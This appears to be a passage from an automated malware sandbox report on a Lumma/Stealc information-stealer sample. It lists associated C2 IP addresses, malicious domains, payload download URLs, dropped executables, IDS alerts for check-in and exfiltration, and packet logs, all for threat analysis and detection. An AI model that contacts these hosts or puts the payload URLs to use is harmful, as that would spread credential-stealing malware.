Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: hBBxlxfQ3F.exe

Simulations

Behavior and APIs

Time	Type	Description
11:29:08	API Interceptor	67x Sleep call for process: hBBxlxfQ3F.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206/68b591d6548ec281/nss3.dll
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discokeyus.lat	gf3yK6i4OX.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	0WO49yZcDA.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	gf3yK6i4OX.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	0WO49yZcDA.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	http://www.eventcreate.com/e/you-have-received-a-new-doc	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
WHOLESALECONNECTIONSNL	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
WHOLESALECONNECTIONSNL	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	gf3yK6i4OX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	0WO49yZcDA.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.67.197.170

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe

Download File

Process:	C:\Users\user\Desktop\hBBxlxfQ3F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2846208
Entropy (8bit):	6.507795844165892
Encrypted:	false
SSDEEP:	49152:s76edacm78p+b6wendBF+BPBUN8dj2KZepji23LmZVHz:0dacm5b6wedB0BJU8j2NpOQQVH
MD5:	ED267F8F886C1D23165754F5C17B852D
SHA1:	65F287E63EF2CF1106CF8C2AF026A8E6C12724D3
SHA-256:	196A92F8482CC549EFACDEC30DD39D0F662584F78FDD8FC612D28D48860A5123
SHA-512:	E07605D0CBBC0588B574A359AB6F6681B1CF99C6706EE91C27D579F3041F46BAA28184DD35612EFB9325B8B6CC9FC92A275ABED3B1126A8C7B2633B0E49C491F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: uDTW3VjJJT.exe, Detection: malicious, Browse Filename: u1z7S3hr06.exe, Detection: malicious, Browse Filename: XNtOBQ5NHr.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......+...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...ljmymddw...........h..............@...ajdgxuni. ....+......F+.............@....taggant.@....+.."...L+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe

Download File

Process:	C:\Users\user\Desktop\hBBxlxfQ3F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2883584
Entropy (8bit):	6.537966262752438
Encrypted:	false
SSDEEP:	24576:LBGJABbey9EKIXUDMPygZalHOiZncFx2J/atbmmPffRv7P8ussEsfEEi3M4rz7Jf:lKABDZIXUI5iuiZ29zmuarfkjpTSyng
MD5:	A0956C9F9C719B85668C6F8B85F89A5B
SHA1:	031F8C3BF791E31AE9B03286B486B1365B81F745
SHA-256:	998C8DDDF5FC3D73A386669C03CE5A4D371FB1D09983B1828F3ED49598AF0B57
SHA-512:	1EE084EF14A516733FFAEDD360B43560BF87E999FC4F2AD9C8D34191F33E6FAFDE7BD0773CC422F63D664E8B8D994D1884736F70C360927AAEF75745323B8474
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: uDTW3VjJJT.exe, Detection: malicious, Browse Filename: u1z7S3hr06.exe, Detection: malicious, Browse Filename: XNtOBQ5NHr.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......0O...........@..........................`O......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ojvirhut.`...$..^..\|..............@...ueswzroq..... O.......+.............@....taggant.0...0O.."....+.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947342174332049
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hBBxlxfQ3F.exe
File size:	1'892'864 bytes
MD5:	0cc471c7099d858cc1e17ea0cbb7667a
SHA1:	e59170940dd734f2db4b5d10b7df5951aa37d829
SHA256:	67c8aaa4be23aff386d5a5ed1438f1d980db74096d9a1295a55d84f59dfb9377
SHA512:	cea701bed25944f2e82aa33a50a28001de9e92f59b7aa1af4b2615d0b008e71f16c8cced5cd9986108563cc2a984f67b3f52a8533be7a0292a289edc3a53b837
SSDEEP:	24576:X2tqgjpK3LDMCh7fpb0eR5MoiyjxtN4WvQjraLJPUNofLf20R4MTtOA2F3LoS63U:X8qgjA3NtRPlPQ3qJeofLjztOt3LXM8
TLSH:	EB95332D5D3AC040CDC7ABFCE46F9D6A66289E1552446BABB881E8CD4DB3DC3D0F0865
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................K.....Y.....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8ae000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F401088F3CAh
xadd byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F40108913C5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	6c8928f2e6d65da8274a85479d995106	False	0.9974114404965754	data	7.981663821958177	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2b3000	0x200	e9fb66115e121a226f0481bbc6a89c00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ztozznex	0x307000	0x1a6000	0x1a5e00	01a944284241dd25e179a457bff65c96	False	0.9947523148148149	DOS executable (COM, 0x8C-variant)	7.9532560837506825	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wetdfmoz	0x4ad000	0x1000	0x400	1bf019820fa8c9db2e11e89152b289a8	False	0.7763671875	data	6.134173430818609	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ae000	0x3000	0x2200	8f98846efef09c1b4e81bf3985818aaf	False	0.05744485294117647	DOS executable (COM)	0.80212960391284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T17:29:09.000039+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.9	65131	1.1.1.1	53	UDP
2024-12-20T17:29:09.225783+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.9	54842	1.1.1.1	53	UDP
2024-12-20T17:29:09.367115+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.9	64932	1.1.1.1	53	UDP
2024-12-20T17:29:10.746460+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.9	49706	172.67.197.170	443	TCP
2024-12-20T17:29:10.746460+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49706	172.67.197.170	443	TCP
2024-12-20T17:29:11.510785+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49706	172.67.197.170	443	TCP
2024-12-20T17:29:11.510785+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49706	172.67.197.170	443	TCP
2024-12-20T17:29:12.787385+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.9	49707	172.67.197.170	443	TCP
2024-12-20T17:29:12.787385+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49707	172.67.197.170	443	TCP
2024-12-20T17:29:18.806870+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49707	172.67.197.170	443	TCP
2024-12-20T17:29:18.806870+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49707	172.67.197.170	443	TCP
2024-12-20T17:29:20.538172+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.9	49708	172.67.197.170	443	TCP
2024-12-20T17:29:20.538172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49708	172.67.197.170	443	TCP
2024-12-20T17:29:22.945359+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.9	49709	172.67.197.170	443	TCP
2024-12-20T17:29:22.945359+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49709	172.67.197.170	443	TCP
2024-12-20T17:29:25.890223+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.9	49713	172.67.197.170	443	TCP
2024-12-20T17:29:25.890223+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49713	172.67.197.170	443	TCP
2024-12-20T17:29:28.790308+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.9	49716	172.67.197.170	443	TCP
2024-12-20T17:29:28.790308+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49716	172.67.197.170	443	TCP
2024-12-20T17:29:29.573686+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49716	172.67.197.170	443	TCP
2024-12-20T17:29:31.569618+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.9	49717	172.67.197.170	443	TCP
2024-12-20T17:29:31.569618+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49717	172.67.197.170	443	TCP
2024-12-20T17:29:36.259043+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.9	49718	172.67.197.170	443	TCP
2024-12-20T17:29:36.259043+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49718	172.67.197.170	443	TCP
2024-12-20T17:29:37.015146+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49718	172.67.197.170	443	TCP
2024-12-20T17:29:38.846511+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	49719	185.215.113.16	80	TCP
2024-12-20T17:29:54.803629+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49720	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:29:09.510811090 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:09.510863066 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:09.510955095 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:09.514261961 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:09.514280081 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:10.746330023 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:10.746459961 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:10.749900103 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:10.749926090 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:10.750236034 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:10.793459892 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:10.805675983 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:10.805722952 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:10.805902958 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:11.510874033 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:11.511209965 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:11.511271000 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:11.550901890 CET	49706	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:11.550952911 CET	443	49706	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:11.568159103 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:11.568208933 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:11.568272114 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:11.568543911 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:11.568564892 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:12.787300110 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:12.787384987 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:12.788997889 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:12.789012909 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:12.789269924 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:12.790625095 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:12.790654898 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:12.790707111 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:18.806956053 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:18.807102919 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:18.807203054 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:18.807235003 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:18.807266951 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:18.807344913 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:18.807382107 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:18.807534933 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:18.807599068 CET	49707	443	192.168.2.9	172.67.197.170
Dec 20, 2024 17:29:18.807631016 CET	443	49707	172.67.197.170	192.168.2.9
Dec 20, 2024 17:29:18.814963102 CET	443	49707	172.67.197.170	192.168.2.9
